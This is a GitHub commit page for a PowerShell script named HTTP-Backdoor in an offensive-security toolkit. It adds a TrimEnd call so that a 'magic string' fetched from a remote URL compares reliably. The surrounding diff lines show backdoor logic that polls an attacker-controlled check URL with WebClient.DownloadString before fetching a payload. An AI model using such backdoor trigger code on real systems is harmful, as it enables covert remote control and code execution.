Skip to content

Commit

Permalink
Issue #51 addition: HTTP-Backdoor MagicString Comparison improved by …
Browse files Browse the repository at this point in the history
…adding TrimEnd to ensure comparison is seamless for various server OSs.
  • Loading branch information
john edwards committed Apr 10, 2017
1 parent bf3149e commit 1d1ac98
Showing 1 changed file with 1 addition and 0 deletions.
1 change: 1 addition & 0 deletions Backdoors/HTTP-Backdoor.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -172,6 +172,7 @@ function HTTP-Backdoor-Logic ($CheckURL, $PayloadURL, $Arguments, $MagicString,
start-sleep -seconds 5
$webclient = New-Object System.Net.WebClient
$filecontent = $webclient.DownloadString("$CheckURL")
$filecontent = $filecontent.TrimEnd()
if($filecontent -eq $MagicString)
{
Expand Down

0 comments on commit 1d1ac98

Please sign in to comment.